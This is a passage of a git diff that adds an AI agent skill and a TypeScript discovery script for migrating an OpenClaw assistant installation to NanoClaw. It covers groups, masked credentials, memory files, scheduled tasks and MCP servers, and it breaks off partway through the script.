immediately. +- `payload.model`, `payload.thinking`, `payload.timeoutSeconds` — NanoClaw doesn't support per-task model/thinking config. These are handled by the SDK. +- `deleteAfterRun` — NanoClaw `"once"` tasks are marked `"completed"` after running, not deleted. + +## For Each Enabled Job + +1. Show what it does: name, schedule, prompt, delivery mode +2. Explain any differences (no retry config, no webhook delivery, no failure alerts) +3. If `delivery.mode:"webhook"`: discuss with the user — a task `script` with `curl` often suffices +4. Ask if they want to keep this task + +## Inserting Tasks + +Insert directly into the SQLite database. This requires groups to be registered first (Phase 1). Use the registered group's `folder` and `chat_jid`: + +```bash +npx tsx -e " +const Database = require('better-sqlite3'); +const { CronExpressionParser } = require('cron-parser'); +const db = new Database('store/messages.db'); +// Compute next_run for cron tasks: +// const interval = CronExpressionParser.parse('', { tz: process.env.TZ || 'UTC' }); +// const nextRun = interval.next().toISOString(); +db.prepare(\`INSERT INTO scheduled_tasks (id, group_folder, chat_jid, prompt, script, schedule_type, schedule_value, context_mode, next_run, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\`).run( + 'migrated-', + '', + '', + '', + null, + '', + '', + '', + '', + 'active', + new Date().toISOString() +); +db.close(); +" +``` + +**Computing `next_run`:** +- `cron` tasks: use `CronExpressionParser.parse(expr, { tz }).next().toISOString()` +- `interval` tasks: `new Date(Date.now() + ms).toISOString()` +- `once` tasks: `next_run` equals `schedule_value` + +If groups haven't been registered yet (database doesn't exist), save the task details to `groups/main/openclaw-migration-tasks.md` with the exact SQL payloads, and tell the user: "These tasks will be created after `/setup` registers your groups." diff --git a/.claude/skills/migrate-from-openclaw/SKILL.md b/.claude/skills/migrate-from-openclaw/SKILL.md new file mode 100644 index 0000000..c393269 --- /dev/null +++ b/.claude/skills/migrate-from-openclaw/SKILL.md @@ -0,0 +1,447 @@ +--- +name: migrate-from-openclaw +description: Migrate from OpenClaw to NanoClaw. Detects existing OpenClaw installation, extracts identity, channel credentials, scheduled tasks, and other config, then guides interactive migration. Triggers on "migrate from openclaw", "openclaw migration", "import from openclaw". +--- + +# Migrate from OpenClaw + +Guide the user through migrating their OpenClaw installation to NanoClaw. This is a conversation, not a batch job. Read OpenClaw state, discuss it with the user, make judgment calls together about what to bring over and how. + +**Principle:** Never silently copy data. Read it, explain it, discuss where it belongs in NanoClaw's architecture, show proposed changes before applying. Credentials must be masked when displayed (first 4 + `...` + last 4 characters). Make judgment calls about what's core vs. reference material. + +**UX:** Use `AskUserQuestion` for multiple-choice only. Use plain text for free-form input. Don't dump raw data — summarize and explain conversationally. + +## Migration State File + +Create `migration-state.md` in the project root at the start of Phase 0. Update it after each phase completes. This file is the single source of truth for the migration — if context is compacted or lost, re-read it to recover all decisions and progress. + +Before starting any phase, re-read `migration-state.md` to ensure you have current state. + +Sections to maintain (add data as each phase completes): + +- **Progress** — checkbox list of phases (Phase 0–7) +- **Discovery** — STATE_DIR, IDENTITY_NAME, channels, groups (with JID mappings), workspace files, cron job count, MCP servers +- **Decisions** — assistant_name, group_model (shared/separate/main-only), main_group (folder + jid) +- **Registered Groups** — table: folder, jid, channel, is_main +- **Settings Migrated** — timezone, anthropic_credential (masked), sender_allowlist (created/skipped) +- **Identity & Memory** — paths of files created, which CLAUDE.md was edited +- **Channel Credentials** — table: channel, status, env_var +- **Scheduled Tasks** — table: original_id, name, migrated/deferred +- **Deferred / Not Applicable** — unsupported channels, discussed customizations, OpenClaw-only features + +Keep it factual and terse — this is for machine recovery after compaction, not human reading. Delete the file at the end of Phase 7 (or offer to keep it as a record). + +## Phase 0: Discovery + +Run the discovery script to find and summarize the OpenClaw installation: + +```bash +npx tsx ${CLAUDE_SKILL_DIR}/scripts/discover-openclaw.ts +``` + +If the user specifies a custom path, pass it: `--state-dir ` + +Parse the status block. Key fields: STATUS, STATE_DIR, CHANNELS, WORKSPACE_FILES, DAILY_MEMORY_FILES, SKILL_COUNT, SKILLS, CRON_JOBS, MCP_SERVERS, IDENTITY_NAME, AGENT_COUNT, AGENT_IDS. + +**Sanity-check the output:** The discovery script detects known structures but can silently miss data if OpenClaw's format has changed. Check `CONFIG_TOP_KEYS` and `CONFIG_CHANNEL_KEYS` — if you see keys the script didn't report on (e.g. a channel name not in CHANNELS, or a top-level section like `integrations` or `plugins`), read that section of the config directly with the Read tool. Also check `STATE_DIR_CONTENTS` for directories the script doesn't scan (e.g. unexpected folders alongside `workspace/`, `agents/`, `cron/`). + +**If STATUS=not_found:** Tell the user no OpenClaw installation was detected at the standard locations (`~/.openclaw`, `~/.clawdbot`). Ask if they have a custom path. If not, exit. + +**If STATUS=found:** Present a human-readable summary: + +- "I found your OpenClaw installation at ``." +- Identity: name from IDENTITY.md (if found) +- Workspace files: which of SOUL.md, USER.md, MEMORY.md, IDENTITY.md exist +- Channels: list each, note which NanoClaw supports (whatsapp, telegram, slack, discord) and which it doesn't +- Daily memory files: count (if any) +- Skills: count and names (from workspace, shared, personal, project locations) +- Cron jobs: count and names +- MCP servers: count and names +- Agents: count (relevant for Phase 1 groups discussion) + +Then explain the key architectural differences. Don't dump a table — paraphrase conversationally: + +- **Container isolation:** NanoClaw runs each agent in an isolated Linux container (Docker or Apple Container). OpenClaw runs everything in one process. This means stronger isolation but also means each group is its own sandbox. +- **Group-based memory:** In OpenClaw, all groups under one agent share the same SOUL.md, MEMORY.md, and IDENTITY.md. In NanoClaw, each group has its own filesystem and CLAUDE.md. Shared state goes in `groups/global/CLAUDE.md` (mounted read-only into all non-main containers). +- **Channel skills:** In OpenClaw, channels are configured in `openclaw.json`. In NanoClaw, channels are installed as code via skills (`/add-telegram`, `/add-whatsapp`, etc.) and configured through `.env` variables. +- **Simpler config:** NanoClaw has no config file — behavior is in the code and `CLAUDE.md` files. Credentials live in `.env` or the OneCLI vault. + +AskUserQuestion: "Ready to start migrating? I'll go through each area one at a time." +1. **Yes, let's go** — proceed to Phase 1 +2. **Tell me more** — explain more about any area they ask about +3. **Skip migration** — exit + +## Phase 1: Groups and Architecture + +**This discussion must happen before identity/memory, because the shared-vs-isolated decision determines where files go.** + +If GROUP_COUNT > 0 or AGENT_COUNT > 1, this is a critical conversation. Even with just one group, explain the model difference so the user understands what they're getting into. + +**OpenClaw model:** All groups routed to the same agent share one workspace — the same SOUL.md, MEMORY.md, IDENTITY.md, and tools. When you talk to the bot in your family chat or your work chat, it's the same agent with the same personality and memory. Only the session (conversation history) is separate per group. + +**NanoClaw model:** Each group is a completely separate agent running in its own Linux container. Separate filesystem, separate memory, separate CLAUDE.md. The bot in your family chat and your work chat are different agents that don't know about each other — unless you explicitly share state via `groups/global/CLAUDE.md`, which is mounted read-only into all non-main containers. + +Explain this conversationally. If the user only has one group, it's simple — just note the difference and move on. If they have multiple groups, discuss: + +AskUserQuestion: "In OpenClaw, your groups shared the same personality and memory. In NanoClaw, each group is a fully separate agent. How would you like to handle this?" + +1. **Shared personality (recommended if your groups had the same bot)** — "I'll put the shared personality, identity, and user context in `groups/global/CLAUDE.md`. Every group sees it. Each group can add its own customizations on top." +2. **Fully separate** — "Each group gets its own independent personality and memory. Complete isolation between groups." +3. **Just main group for now** — "Set up one group now. We can add others later." + +Remember this choice — it determines where identity and memory files go in the next phase. + +### Confirm assistant name + +Before registering groups, confirm the assistant name — it's used for trigger patterns and CLAUDE.md templates. + +IDENTITY_NAME from discovery gives the OpenClaw name. Ask the user: "Your OpenClaw assistant was named ``. Want to keep this name in NanoClaw?" If they want a different name, ask what it should be. If IDENTITY_NAME was empty, ask them to choose a name (default: "Andy"). + +The register step's `--assistant-name` flag writes `ASSISTANT_NAME` to `.env` and updates CLAUDE.md templates automatically — no manual `.env` write needed. + +### Registering groups + +The discovery script provides detected groups in the GROUPS field (format: `channel:id(name)=>nanoclaw_jid`). These are extracted from OpenClaw's session store and channel config. + +For each group the user wants to bring over, pre-register it: + +```bash +npx tsx setup/index.ts --step register -- --jid "" --name "" --folder "_" --trigger "@" --channel --assistant-name "" +``` + +Only pass `--assistant-name` on the first registration (it updates all CLAUDE.md templates globally). + +Folder naming: `_` (e.g. `whatsapp_family-chat`, `telegram_dev-team`). Ask the user to confirm each group's name and folder. + +For the first/primary group, add `--is-main --no-trigger-required`. Other groups default to requiring a trigger prefix. + +**Important:** Registration requires the database to exist. If the environment step hasn't been run yet, run it first: `npx tsx setup/index.ts --step environment`. Registration also creates the group folder under `groups/` and copies the CLAUDE.md template. + +Register groups from all channels — including channels NanoClaw doesn't yet support (signal, matrix, etc.). The registration stores the JID and metadata in the database, ready for when that channel is added later. Groups won't receive messages until their channel code is installed, but the registration, group folder, and CLAUDE.md will be ready. + +## Phase 2: Settings from Config + +Before identity/memory, extract settings from `openclaw.json` that map directly to NanoClaw setup. Read the config file with the Read tool (`/openclaw.json` or `clawdbot.json`). + +### Timezone + +Check `agents.defaults.userTimezone` in the config. If present and it's a valid IANA timezone (e.g. `America/New_York`, `Asia/Jerusalem`), write it to `.env` as `TZ=`. NanoClaw's setup step 2a reads `TZ` from `.env` (`src/config.ts:84-97`) and will skip the autodetection prompt. + +### Anthropic Credentials + +Check for Anthropic API keys or tokens in OpenClaw's auth system. OpenClaw stores credentials in `/auth-profiles.json` or `/agents/main/agent/auth-profiles.json` with this structure: + +```json +{ + "version": 1, + "profiles": { + "anthropic:default": { + "type": "api_key", // or "token" or "oauth" + "provider": "anthropic", + "key": "sk-ant-..." // for api_key type + } + } +} +``` + +Profile IDs follow `provider:identifier` format. Look for any profile where `provider` is `"anthropic"`. The credential field depends on the `type`: +- `type: "api_key"` → `key` field (or `keyRef` for SecretRef) +- `type: "token"` → `token` field (or `tokenRef` for SecretRef) +- `type: "oauth"` → `access` field (OAuth access token, may need refresh) + +Also check: +1. `/.env` — for `ANTHROPIC_API_KEY` or `CLAUDE_CODE_OAUTH_TOKEN` +2. Config `models.providers` — for Anthropic provider entries with `apiKey` + +If found, offer to save to `.env`. This pre-fills the NanoClaw setup credential step (step 4) so the user doesn't need to re-enter it. Use the same masking approach — show first 4 + last 4 characters, write the full value directly. + +**Important:** If the credential uses `keyRef`/`tokenRef` with `source:"exec"` or `source:"file"`, explain that it can't be auto-extracted and the user will need to enter it during setup. For `type: "oauth"` credentials with an expiry in the past, warn the user the token may need to be refreshed during setup. + +### Sender Allowlists + +Read the channel configs for access control settings. OpenClaw stores these per-channel: +- `channels..allowFrom` — array of allowed sender IDs (E.164 for WhatsApp, numeric IDs for Telegram) +- `channels..dmPolicy` — `"open"`, `"allowlist"`, `"disabled"` +- `channels..groupPolicy` — `"open"`, `"allowlist"`, `"disabled"` +- `channels..groupAllowFrom` — array of allowed group member IDs + +NanoClaw uses `~/.config/nanoclaw/sender-allowlist.json` with this format: +```json +{ + "default": { "allow": "*", "mode": "trigger" }, + "chats": { + "": { + "allow": ["sender-id-1", "sender-id-2"], + "mode": "trigger" + } + }, + "logDenied": true +} +``` + +Fields: +- `allow`: `"*"` (all senders) or `string[]` (specific sender IDs) +- `mode`: `"trigger"` (messages stored but trigger blocked for non-allowed senders) or `"drop"` (messages silently discarded before storage) +- `logDenied`: optional boolean (default `true`), logs denied messages + +If OpenClaw had allowlists configured, show the user what was set and offer to create the NanoClaw equivalent. Map: +- `dmPolicy:"allowlist"` + `allowFrom` → per-chat entry with `"allow"` array, `"mode": "trigger"` +- `groupPolicy:"allowlist"` + `groupAllowFrom` → per-group entry with `"allow"` array, `"mode": "trigger"` +- `dmPolicy:"open"` → `"allow": "*"` +- `dmPolicy:"disabled"` → per-chat entry with `"allow": []`, `"mode": "drop"` (or don't register that chat) + +Create the directory and file: +```bash +mkdir -p ~/.config/nanoclaw +``` + +Then write the JSON file. If no allowlists were configured, skip this. + +### Container Timeout + +Check `agents.defaults.timeoutSeconds` in the config. This is maximum total agent runtime (wall-clock). NanoClaw's equivalent is `CONTAINER_TIMEOUT` (env var, default 30 min), also configurable per-group via `containerConfig.timeout`. Note: NanoClaw also has a separate `IDLE_TIMEOUT` (max time without output) which resets on activity — OpenClaw has no equivalent. + +If the OpenClaw value differs significantly from 30 minutes, note it for the user. They can set `CONTAINER_TIMEOUT=` in `.env` after setup. + +## Phase 3: Identity and Memory + +This phase is fully conversational — read files directly and discuss with the user. No script needed. + +**Where files go depends on the Phase 1 (groups) decision:** +- **Shared personality:** Core identity goes in `groups/global/CLAUDE.md` (seen by all groups). Group-specific customizations go in each group's own CLAUDE.md. +- **Fully separate:** Everything goes in `groups/main/` (or each group's own folder). +- **Just main group:** Everything goes in `groups/main/`. + +### Find workspace files + +The STATE_DIR from discovery tells you where OpenClaw lives. Look for workspace files at `/workspace/`. If AGENT_COUNT > 1, also check `/agents/*/workspace/` and ask which agent to migrate. + +Use the Read tool to look at each file found. + +### IDENTITY.md + +Read `/workspace/IDENTITY.md` if it exists. It uses a key:value format (name, emoji, creature, vibe, etc.). + +The assistant name was already confirmed and written to `.env` in Phase 1. Here, focus on the rest of the identity — create an `identity.md` file with the full identity details (emoji, creature, vibe, personality traits, etc.). If shared personality was chosen in Phase 1, put it alongside `groups/global/CLAUDE.md`. Otherwise, put it in `groups/main/`. + +### SOUL.md + +Read `/workspace/SOUL.md` if it exists. Then read `groups/main/CLAUDE.md`. + +CLAUDE.md is always loaded into the agent's context — it's the agent's continuous instructions. Not everything from SOUL.md needs to be there. Discuss with the user what belongs where: + +- **In CLAUDE.md (always loaded):** Core personality traits, communication style, key behavioral rules. Weave these into the existing CLAUDE.md structure — adjust the opening description under the `# ` heading, modify the tone in the Communication section. +- **In a separate soul file:** Detailed personality backstory, extended guidelines, creative writing style, philosophical grounding — things the agent can reference when relevant but don't need to consume context tokens on every turn. + +**File placement depends on Phase 1 choice:** +- Shared personality → edit `groups/global/CLAUDE.md` for the core traits, create `groups/global/soul.md` for the extended content. All groups will see both. +- Separate / main only → edit `groups/main/CLAUDE.md`, create `groups/main/soul.md`. + +Add a reference in the relevant CLAUDE.md: "Your personality and extended behavioral guidelines are in `soul.md`. Refer to it for identity questions or when crafting responses that need your full character." + +Show proposed edits to the user before applying. This is a thoughtful merge, not a copy-paste. + +### USER.md + +Read `/workspace/USER.md` if it exists. + +Create `groups/main/user-context.md` with the user information. Add a reference in CLAUDE.md: "Information about your user is in `user-context.md`. Read it when you need context about who you're talking to." + +Ask if they want any critical user facts (name, timezone, key preferences) directly in CLAUDE.md for always-on awareness. + +### MEMORY.md + +Read `/workspace/MEMORY.md` if it exists. + +Show the contents and discuss what's worth keeping. Some memory entries may be stale or OpenClaw-specific. Create `groups/main/memories.md` for relevant items. Add a reference in CLAUDE.md. + +### Daily memory files (`workspace/memory/*.md`) + +If DAILY_MEMORY_FILES > 0 in the discovery output, OpenClaw accumulated dated memory files (e.g. `2024-01-01.md`). These contain observations, facts, and context gathered over time. + +AskUserQuestion: "You have N daily memory files from OpenClaw. How would you like to handle them?" + +1. **Copy as-is (recommended for many files)** — "I'll create a `daily-memories/` folder in your group directory and copy them over. Your agent can reference them when needed." + - Create the folder in the appropriate group directory (per Phase 1 decision) + - Copy all `.md` files: `cp -r /memory/*.md /daily-memories/` + - Add a reference in CLAUDE.md: "Historical daily memory files from your previous system are in `daily-memories/`. Refer to them when you need context about past events or observations." + +2. **Consolidate into memories** — "I'll read through them, extract the durable facts, and add them to your memories file. This reduces clutter but takes longer." + - Read each file, extract entries worth keeping (skip transient observations, focus on durable facts about the user, preferences, recurring topics) + - Consolidate into `memories.md` + - Use sub-agents for large volumes (>10 files) + +3. **Skip** — "Don't bring daily memories over." + +### OpenClaw Skills + +If SKILL_COUNT > 0 in discovery, OpenClaw had custom skills. The SKILL.md format is a shared standard — skills are directly portable. + +The discovery reports skill names and source locations. For each skill, read just the YAML front matter (name + description at the top of SKILL.md) and present a list to the user: skill name, description, source location. Let the user select which ones to bring over. + +For confirmed skills, copy the entire skill directory as-is: + +```bash +cp -r container/skills/ +``` + +After all skills are copied, a container rebuild is needed — note this for post-migration: `./container/build.sh`. + +### Config-registered plugins and skills + +If CONFIG_PLUGIN_COUNT > 0 in discovery, OpenClaw had installed plugins/skills with API keys (e.g. `plugins.entries.brave`, `skills.entries.openai-whisper-api`). These are functional tools the agent had access to. + +For each detected plugin, present the name to the user and discuss whether to set it up in NanoClaw. Read the OpenClaw config section to understand what it is, then: + +1. **If NanoClaw has a matching skill** — check the available NanoClaw skills list for an equivalent (e.g. `/add-voice-transcription` for whisper). If found, save the API key to `.env` and invoke that skill. + +2. **If the OpenClaw plugin was an MCP server** — read its config to find the exact package name and command. Install the same MCP server (e.g. `npx -y `). Don't search for or guess at MCP packages — only install what was explicitly configured. + +3. **If the OpenClaw plugin was a CLI tool** — read the config to identify the exact tool. If it's an npm package, add it to the container's Dockerfile. Add a note to the group's CLAUDE.md that the tool is available and how to invoke it. + +4. **If the plugin wraps an API** — discuss with the user what it did and offer to implement the equivalent: save the API key to `.env`, write a container skill with instructions for using the API, or wire it into the message flow if it's something automatic (e.g. voice transcription). + +5. **If unclear** — discuss with the user what the plugin did and decide together. Don't install unknown packages or search for replacements — that's a supply chain risk. + +For API keys, read the config value directly (don't display raw keys) and write to `.env`. The discovery script reports which plugins have keys but never extracts them. + +### Other files (TOOLS.md, HEARTBEAT.md, BOOTSTRAP.md, AGENTS.md) + +If these exist, briefly mention them and explain: +- TOOLS.md: NanoClaw agents have their own tool discovery; this doesn't transfer +- HEARTBEAT.md: NanoClaw uses scheduled tasks instead +- BOOTSTRAP.md: NanoClaw uses CLAUDE.md and container skills instead +- AGENTS.md: Already covered in the Phase 1 groups discussion + +## Phase 4: Channel Credentials + +For each channel found in the discovery results, handle it based on NanoClaw support: + +### Supported channels (whatsapp, telegram, slack, discord) + +Run the credential extraction script with `--write-env .env` so it writes credentials directly to NanoClaw's `.env` file. The script never emits raw credential values to stdout — only masked versions. + +First, run without `--write-env` to preview: + +```bash +npx tsx ${CLAUDE_SKILL_DIR}/scripts/extract-channel-credentials.ts --state-dir --channel +``` + +Parse the status block. Key fields: HAS_CREDENTIAL, CREDENTIAL_MASKED, NANOCLAW_ENV_VAR. + +**If HAS_CREDENTIAL=false but the user expects a credential:** The extraction script may not recognize the config structure. Fall back to reading the channel section of `openclaw.json` directly with the Read tool and look for any field that contains a token or key value. Ask the user to confirm. + +If HAS_CREDENTIAL=true: Show the masked credential (`CREDENTIAL_MASKED`). AskUserQuestion: +1. **Use this credential** — run again with `--write-env .env` to save it +2. **Enter a new one** — ask in plain text, write to `.env` manually +3. **Skip this channel** — don't configure + +If using the credential: + +```bash +npx tsx ${CLAUDE_SKILL_DIR}/scripts/extract-channel-credentials.ts --state-dir --channel --write-env .env +``` + +The script writes the credential directly to `.env` using the correct NanoClaw variable name (e.g. `TELEGRAM_BOT_TOKEN`). Check the status block for `WRITTEN_TO` and `WRITTEN_COUNT` to confirm. + +**Credential destination note:** Credentials are saved to `.env` for now. During `/setup`, the credential step will either keep them in `.env` (Apple Container) or migrate them to the OneCLI vault (Docker). The user doesn't need to worry about this now. + +For Slack: there are two credentials (bot token + app token). The script handles both in one run — check `HAS_CREDENTIAL_2` and `NANOCLAW_ENV_VAR_2` in the status block. + +**WhatsApp special case:** WhatsApp uses QR/pairing-code authentication, not a token. Do not copy auth state from OpenClaw — encryption sessions become stale after copying and messages fail to decrypt. Authentication will be handled during `/setup` via the `/add-whatsapp` skill (takes about 60 seconds with a pairing code). Just note that WhatsApp was configured and move on. + +**Allowlist note:** If the channel had `allowFrom` or group policies, these were already handled in Phase 2 (sender allowlists). Mention that the allowlist file was created earlier. + +### Unsupported channels (signal, matrix, irc, msteams, feishu, etc.) + +Explain briefly: "NanoClaw doesn't have a `` integration yet, but channels are added over time via skills. Any groups from this channel were already registered in Phase 1 — they'll activate when the channel is added." + +If there are credentials (tokens, keys) for the unsupported channel, offer to save them to `.env` with a descriptive variable name (e.g. `SIGNAL_ACCOUNT`, `MATRIX_ACCESS_TOKEN`) so they're available when the channel is eventually supported. + +Don't invoke channel skills here — just prepare `.env` credentials. Channel code is installed during `/setup`. + +## Phase 5: Scheduled Tasks + +Read `/cron/jobs.json` with the Read tool. If the file doesn't exist or has no jobs, skip this phase. + +If jobs exist, read `${CLAUDE_SKILL_DIR}/MIGRATE_CRONS.md` for the full OpenClaw cron format, NanoClaw table schema, field mapping, and SQL insert template. Follow those instructions for each job. + +## Phase 6: Webhooks, MCP, and Other Config + +Read relevant sections from `/openclaw.json` directly with the Read tool. This phase is fully conversational. + +### MCP Servers + +If MCP_SERVERS was non-empty in discovery, these can be ported. Claude Code supports MCP servers natively. Read the OpenClaw config's `mcp.servers` section to get each server's details (`command`, `args`, `env`, `url`). + +MCP servers in NanoClaw are registered in the agent-runner source code. Before editing, grep for `mcpServers` in `container/agent-runner/src/` to find the current location — it's expected to be in `index.ts` in the `query()` options, but may have moved. For each OpenClaw MCP server the user wants to bring over: + +1. Read its config: command, args, env, url +2. **stdio servers** (have `command`): Add an entry to the `mcpServers` object in `container/agent-runner/src/index.ts`. The command runs inside the container, so it needs to be available there (Node.js/npx-based servers work; custom binaries would need to be added to the Dockerfile). +3. **HTTP/SSE servers** (have `url`): These work if the URL is accessible from inside the container. Add them the same way. +4. **Environment variables**: Any `env` values that reference secrets should be added to `.env` and passed through via `process.env.*` in the mcpServers entry. + +After adding all MCP servers, a container rebuild is needed: `./container/build.sh` + +Show the user each server and ask which to bring over. For servers that need custom binaries not available in the container, note them for manual setup. + +### Webhooks and Endpoints + +If the config has webhook sections (in `cron.webhook`, `cron.failureDestination`, or channel-specific webhooks): +- Explain what they were used for +- These don't map directly but NanoClaw can be customized to support them +- Discuss the use case with the user and propose a solution if it's important to them +- For simple webhook notifications: a task script with `curl` often suffices + +### Other Config + +Scan the config for notable sections and briefly mention anything that doesn't carry over: +- **Exec approvals / command allowlist:** NanoClaw uses container isolation instead — the agent runs with `--dangerously-skip-permissions` inside a sandboxed container +- **Human delay:** Not applicable in NanoClaw's container model +- **Compaction:** Handled by Claude Code SDK automatically +- **TTS:** Not built into NanoClaw +- **Model configuration:** NanoClaw uses whatever Anthropic model the credential provides access to + +Don't belabor these — just mention and move on. + +## Phase 7: Summary + +### Summary + +Print a comprehensive summary: + +**Migrated:** +- Assistant name → `.env` ASSISTANT_NAME + CLAUDE.md templates updated +- Groups → registered in database, folders created with CLAUDE.md templates +- Timezone → `.env` TZ +- Anthropic credential → `.env` (for setup to pick up) +- Sender allowlists → `~/.config/nanoclaw/sender-allowlist.json` +- Personality → CLAUDE.md (core) + `soul.md` (extended), placed per Phase 1 decision (global or per-group) +- User context → `user-context.md` +- Memories → `memories.md` + daily memory files (copied to `daily-memories/` or consolidated) +- OpenClaw skills → copied to `container/skills/` +- Channel credentials → `.env` (list which channels) +- Scheduled tasks → inserted into database or noted for post-setup +- MCP servers → registered in agent-runner + +**Noted for later:** +- Channel code installation (happens during `/setup`) +- Task creation (if deferred due to no registered group yet) +- Container rebuild needed (if skills or MCP servers were added): `./container/build.sh` + +**Not applicable:** +- Unsupported channels (list them — groups registered for future) +- OpenClaw-specific features (exec approvals, human delay, TTS, model config, session reset policies, etc.) + +**Discussed and deferred:** +- List any customizations agreed on but not yet implemented + +Remind: "Run `/setup` next to complete your NanoClaw installation. Channel credentials are already prepared in `.env`. When setup asks which channels to enable, select the ones we configured." + +## Troubleshooting + +**Config parse error:** If `openclaw.json` fails to parse, it may use JSON5 features the parser doesn't handle. Ask the user to check the file for unusual syntax. As a fallback, the agent can read the file directly and work with it manually. + +**Credential not found:** If a channel credential resolves to empty, it may use `source:"exec"` or `source:"file"` SecretRef. These can't be auto-extracted. Ask the user to provide the value directly. + +**Multi-agent complexity:** If the user had many agents with different configs, focus on the primary/default agent first. Additional agents can be set up as separate NanoClaw groups later. diff --git a/.claude/skills/migrate-from-openclaw/scripts/discover-openclaw.ts b/.claude/skills/migrate-from-openclaw/scripts/discover-openclaw.ts new file mode 100644 index 0000000..e15ed34 --- /dev/null +++ b/.claude/skills/migrate-from-openclaw/scripts/discover-openclaw.ts @@ -0,0 +1,734 @@ +/** + * Discover an existing OpenClaw installation and emit a structured summary. + * + * Usage: npx tsx .claude/skills/migrate-from-openclaw/scripts/discover-openclaw.ts [--state-dir ] + * + * Checks (in order): --state-dir arg, $OPENCLAW_STATE_DIR, ~/.openclaw, ~/.clawdbot + * Parses openclaw.json (JSON5-tolerant), scans workspace for identity/memory files, + * checks cron jobs, MCP servers, and channel credentials. + * + * Emits a status block on stdout: + * === NANOCLAW MIGRATE: DISCOVERY === + * ... + * === END === + */ + +import fs from 'fs'; +import os from 'os'; +import path from 'path'; + +// --------------------------------------------------------------------------- +// JSON5-tolerant parser (no dependency) +// --------------------------------------------------------------------------- + +function parseJson5(text: string): unknown { + // Strip single-line comments (// ...) that aren't inside strings + let cleaned = text.replace( + /("(?:[^"\\]|\\.)*")|\/\/[^\n]*/g, + (match, str) => (str ? str : ''), + ); + // Strip block comments (/* ... */) + cleaned = cleaned.replace( + /("(?:[^"\\]|\\.)*")|\/\*[\s\S]*?\*\//g, + (match, str) => (str ? str : ''), + ); + // Strip trailing commas before } or ] + cleaned = cleaned.replace(/,\s*([}\]])/g, '$1'); + return JSON.parse(cleaned); +} + +// --------------------------------------------------------------------------- +// Status block emitter (mirrors setup/status.ts convention) +// --------------------------------------------------------------------------- + +function emitStatus(fields: Record): void { + const lines = ['=== NANOCLAW MIGRATE: DISCOVERY ===']; + for (const [key, value] of Object.entries(fields)) { + lines.push(`${key}: ${value}`); + } + lines.push('=== END ==='); + console.log(lines.join('\n')); +} + +// --------------------------------------------------------------------------- +// CLI arg parsing +// --------------------------------------------------------------------------- + +function parseArgs(): { stateDir?: string } { + const args = process.argv.slice(2); + for (let i = 0; i < args.length; i++) { + if (args[i] === '--state-dir' && args[i + 1]) { + return { stateDir: args[i + 1] }; + } + } + return {}; +} + +// --------------------------------------------------------------------------- +// Path resolution +// --------------------------------------------------------------------------- + +function resolveStateDir(explicit?: string): string | null { + const home = os.homedir(); + const candidates: string[] = []; + + if (explicit) { + // Expand ~ prefix + const expanded = explicit.startsWith('~') + ? path.join(home, explicit.slice(1)) + : explicit; + candidates.push(expanded); + } + + if (process.env.OPENCLAW_STATE_DIR) { + candidates.push(process.env.OPENCLAW_STATE_DIR); + } + + candidates.push(path.join(home, '.openclaw')); + candidates.push(path.join(home, '.clawdbot')); + + for (const dir of candidates) { + if (fs.existsSync(dir) && fs.statSync(dir).isDirectory()) { + return dir; + } + } + return null; +} + +// --------------------------------------------------------------------------- +// Config loading +// --------------------------------------------------------------------------- + +function loadConfig( + stateDir: string, +): Record | null { + for (const name of ['openclaw.json', 'clawdbot.json']) { + const configPath = path.join(stateDir, name); + if (fs.existsSync(configPath)) { + try { + const raw = fs.readFileSync(configPath, 'utf-8'); + return parseJson5(raw) as Record; + } catch { + // Try next name + } + } + } + return null; +} + +// --------------------------------------------------------------------------- +// Channel detection +// --------------------------------------------------------------------------- + +interface ChannelInfo { + name: string; + hasCreds: boolean; +} + +const SUPPORTED_CHANNELS = new Set([ + 'whatsapp', + 'telegram', + 'slack', + 'discord', +]); + +// Fields that indicate a credential is present for each channel +const CREDENTIAL_FIELDS: Record = { + telegram: ['botToken'], + discord: ['token'], + slack: ['botToken', 'appToken'], + whatsapp: [], // Auth-state based, no token + signal: ['account'], + imessage: [], + matrix: ['homeserverUrl', 'accessToken'], + irc: ['server'], + msteams: ['appId'], + feishu: ['appId'], + googlechat: [], + mattermost: ['token', 'url'], + zalo: [], + bluebubbles: ['url'], +}; + +const ALL_KNOWN_CHANNELS = new Set([ + 'whatsapp', 'telegram', 'slack', 'discord', 'signal', + 'imessage', 'matrix', 'irc', 'msteams', 'feishu', + 'googlechat', 'mattermost', 'zalo', 'bluebubbles', +]); + +function detectChannels( + config: Record, +): ChannelInfo[] { + // Check both config.channels.* (newer) and top-level config.* (older/legacy) + const channelsSections: Record = {}; + + // Source 1: channels.* (standard location) + const nested = config.channels as Record | undefined; + if (nested) { + for (const [k, v] of Object.entries(nested)) { + if (v && typeof v === 'object') channelsSections[k] = v; + } + } + + // Source 2: top-level keys matching known channel names (legacy format) + for (const key of Object.keys(config)) { + if (ALL_KNOWN_CHANNELS.has(key) && !channelsSections[key]) { + const v = config[key]; + if (v && typeof v === 'object') channelsSections[key] = v; + } + } + + const results: ChannelInfo[] = []; + + for (const [name, section] of Object.entries(channelsSections)) { + if (!section || typeof section !== 'object') continue; + const ch = section as Record; + + // Check if any credential field is present and non-empty + const credFields = CREDENTIAL_FIELDS[name] ?? []; + let hasCreds = false; + + for (const field of credFields) { + const val = ch[field]; + if (val && (typeof val === 'string' || typeof val === 'object')) { + hasCreds = true; + break; + } + } + + // Also check accounts for multi-account setups + if (!hasCreds && ch.accounts && typeof ch.accounts === 'object') { + for (const acct of Object.values( + ch.accounts as Record, + )) { + if (!acct || typeof acct !== 'object') continue; + const a = acct as Record; + for (const field of credFields) { + if ( + a[field] && + (typeof a[field] === 'string' || typeof a[field] === 'object') + ) { + hasCreds = true; + break; + } + } + if (hasCreds) break; + } + } + + // WhatsApp: check for auth state directory instead of token + if (name === 'whatsapp' && !hasCreds) { + // Will be checked separately via agents directory + hasCreds = false; + } + + results.push({ name, hasCreds }); + } + + return results; +} + +// --------------------------------------------------------------------------- +// Workspace scanning +// --------------------------------------------------------------------------- + +const WORKSPACE_FILES = [ + 'SOUL.md', + 'USER.md', + 'MEMORY.md', + 'IDENTITY.md', + 'TOOLS.md', + 'HEARTBEAT.md', + 'BOOTSTRAP.md', + 'AGENTS.md', +]; + +function findWorkspace(stateDir: string, config: Record | null): { + dir: string | null; + files: string[]; +} { + // Check config-specified workspace path first (agent.workspace or agents.defaults.workspace) + const configPaths: string[] = []; + if (config) { + const agentWs = (config.agent as Record | undefined)?.workspace as string | undefined; + if (agentWs) 